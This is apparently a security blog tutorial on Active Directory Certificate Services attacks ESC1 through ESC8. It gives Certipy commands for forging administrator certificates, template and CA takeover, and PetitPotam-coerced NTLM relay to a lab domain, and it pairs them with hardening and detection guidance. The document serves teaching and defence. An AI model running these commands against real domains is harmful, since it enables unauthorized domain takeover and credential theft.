ADCS Attacks: A Practical Overview of ESC1 Through ESC8

Active Directory
Time it takes to read this article 5 minutes.

Disclaimer: This article is written for educational purposes and for use during authorized security assessments only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction

Active Directory Certificate Services (AD CS) is the PKI backbone of countless enterprise environments. It is also one of the most reliable paths from a low-privileged foothold to full Domain Admin. In 2021 SpecterOps published Certified Pre-Owned, which catalogued a family of misconfigurations and design flaws labelled ESC1 through ESC8. Each describes a distinct way an attacker can coerce a Certification Authority (CA) into issuing a certificate that authenticates as a more privileged principal.

This article gives you a working mental model for each ESC variant, shows how to enumerate and exploit the most common ones with Certipy, and — with equal weight — explains how defenders detect and shut them down.

If you are new to AD lateral movement, you may want to skim Kerberoasting and NTLM relay fundamentals first, since ESC8 builds directly on relaying.

How It Works / Background

Certificates can be used for PKINIT Kerberos authentication. When a CA issues a certificate whose Subject Alternative Name (SAN) contains a userPrincipalName (UPN), the holder of the corresponding private key can request a Kerberos TGT as that user. The core of most ESC attacks is therefore simple: get the CA to put an attacker-controlled SAN into a certificate.

Whether that is possible depends on the certificate template configuration. The dangerous knobs are:

  • msPKI-Certificate-Name-Flag containing CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — the enrollee, not AD, chooses the subject/SAN.
  • An Extended Key Usage (EKU) that permits authentication: Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.5.2.3.4), Smart Card Logon, or the catch-all Any Purpose (2.5.29.37.0) / no EKU at all.
  • Enrollment rights granted to broad groups (e.g. Domain Users) and no manager approval.
ESC Root cause (short)
ESC1 Template allows SAN + auth EKU, low-priv enrollment
ESC2 Template has Any Purpose or no EKU
ESC3 Misconfigured Enrollment Agent template
ESC4 Attacker has write/WriteDacl over a template object
ESC5 Vulnerable PKI-related AD objects/ACLs (CA, NTAuth, etc.)
ESC6 CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
ESC7 Attacker holds CA management rights (ManageCA/ManageCertificates)
ESC8 NTLM relay to the CA's HTTP/HTTPS Web Enrollment endpoint

Prerequisites / Lab Setup

A minimal lab: a Domain Controller, a Windows Server running the Certification Authority role (optionally with the Certificate Enrollment Web Service for ESC8), and a Kali/Linux attacker box. Install tooling:

pipx install certipy-ad        # Certipy
pipx install impacket          # ntlmrelayx, getTGT, secretsdump

Find the CA and enumerate templates with Certipy. The find command pulls template and CA config over LDAP and flags vulnerabilities automatically:

certipy-ad find -u jdoe@corp.local -p 'Passw0rd!' \
  -dc-ip 10.0.0.10 -vulnerable -stdout

Output marks each template with the ESC IDs it is susceptible to, e.g. [!] Vulnerabilities: ESC1.

Attack Walkthrough / PoC

ESC1 — Enrollee-supplied SAN

The canonical attack. The template allows you to request a cert and specify an arbitrary SAN. Request a certificate for the domain administrator:

certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
  -dc-ip 10.0.0.10 -target ca.corp.local \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -upn administrator@corp.local

Certipy writes administrator.pfx. Use it to obtain a TGT and dump the hash via PKINIT/U2U:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.0.0.10

This returns the Administrator's TGT and NT hash, giving you the keys to the domain.

ESC2 — Any Purpose / no EKU

Same flow as ESC1 but the template grants an Any Purpose EKU. Because the EKU permits client authentication, you request it, then authenticate exactly as above. If ENROLLEE_SUPPLIES_SUBJECT is not set, ESC2 can often be chained through an enrollment-agent path (ESC3).

ESC3 — Enrollment Agent

ESC3 templates grant the Certificate Request Agent EKU. You first enroll for an agent certificate, then use it to request a cert on behalf of a privileged user:

certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
  -ca 'CORP-CA' -template 'EnrollmentAgent'

certipy-ad req -u jdoe@corp.local -p 'Passw0rd!' \
  -ca 'CORP-CA' -template 'User' \
  -on-behalf-of 'CORP\administrator' \
  -pfx enrollmentagent.pfx

ESC4 — Template ACL takeover

If you hold WriteDacl/WriteOwner/GenericAll over a template object, you can rewrite it to be ESC1-vulnerable, exploit it, then restore the original:

certipy-ad template -u jdoe@corp.local -p 'Passw0rd!' \
  -template 'VulnTemplate' -write-default-configuration

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

When the CA itself has this flag set, any template that allows authentication effectively becomes ESC1, because the SAN can be supplied as a request attribute. Certipy requests with -upn against any enrollable auth template. Note Microsoft's May 2022 patch (CVE-2022-26923 era hardening) changed default SAN-mapping behavior, reducing some impact.

ESC7 — CA officer rights

With ManageCA you can grant yourself ManageCertificates, then approve a pending (denied) request, or enable the SAN flag. Certipy automates the officer + issue chain:

certipy-ad ca -u jdoe@corp.local -p 'Passw0rd!' \
  -ca 'CORP-CA' -add-officer jdoe

ESC8 — NTLM relay to Web Enrollment

If the CA exposes the HTTP Web Enrollment (/certsrv) or Certificate Enrollment Web Service endpoint without Extended Protection for Authentication (EPA), you can relay coerced NTLM authentication from a privileged machine account to it and obtain a certificate for that machine. Start the relay target at the CA:

certipy-ad relay -target 'http://ca.corp.local' -template DomainController

Then coerce a Domain Controller to authenticate to your relay using PetitPotam, PrinterBug, or Coercer:

python3 PetitPotam.py -u jdoe -p 'Passw0rd!' \
  10.0.0.50 10.0.0.10        # attacker_ip  DC_ip

The relayed DC machine account gets a certificate; authenticate with it via PKINIT to compromise the DC (and from there, the domain via DCSync).

Attack Flow Diagram

ADCS Attacks: A Practical Overview of ESC1 Through ESC8 diagram 1

Diagram: a foothold leads through Certipy enumeration to one of several ESC paths, all converging on PKINIT authentication that yields a privileged TGT and ultimately domain compromise.

Detection & Defense (Blue Team)

Defending AD CS requires both configuration hardening and monitoring.

Hardening

  • ESC1/2/6: Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from authentication templates. Never combine enrollee-supplied SAN with an authentication EKU for broadly enrollable templates. Require manager approval or authorized signatures.
  • ESC6: Audit and clear the dangerous CA flag:
    certutil -getreg policy\EditFlags
    certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
    net stop certsvc; net start certsvc
    
  • ESC4/ESC7: Audit template and CA DACLs. No non-tier-0 principal should hold WriteDacl, GenericAll, ManageCA, or ManageCertificates.
  • ESC8: Enable HTTPS + Extended Protection for Authentication (EPA) and require SSL on the Web Enrollment / CES endpoints, or disable HTTP enrollment entirely. Apply KB5005413 guidance and mitigate coercion (block MS-EFSRPC/PetitPotam, disable Print Spooler where unneeded).
  • Apply the certificate-based authentication strong mapping hardening from KB5014754 (full enforcement enforced since Feb 2025), which ties certificates to accounts via the SID extension and breaks loose UPN mapping.

Detection

  • Monitor CA Event ID 4886 (request received) and 4887 (certificate issued); correlate issued SANs against the requesting account. A request for administrator from a workstation account is a red flag.
  • Security log 4768 (TGT requested) with Certificate Information populated indicates PKINIT — alert on PKINIT from unexpected accounts.
  • Watch for NTLM authentication to /certsrv from machine accounts (ESC8) and for coercion patterns (inbound EFSRPC/RPRN from non-server hosts).
  • Run Certipy or PSPKIAudit / Locksmith periodically as a blue-team baseline to find the same misconfigurations before attackers do.

Map these to detections under MITRE ATT&CK T1649 (Steal or Forge Authentication Certificates) and T1556 (Modify Authentication Process).

Conclusion

ESC1-ESC8 are not exotic — they are configuration defaults and ACL oversights that ship in real environments every day. The common denominator is a certificate that authenticates as someone else, so the defensive priority is clear: control who can influence the subject/SAN, lock down template and CA ACLs, and protect enrollment endpoints from relay. Run Certipy find -vulnerable on your own estate this week; if it returns an ESC flag, you have a finding worth fixing before someone else does. For the relay-specific side, see Coercion techniques in Active Directory.

References

Comments

Copied title and URL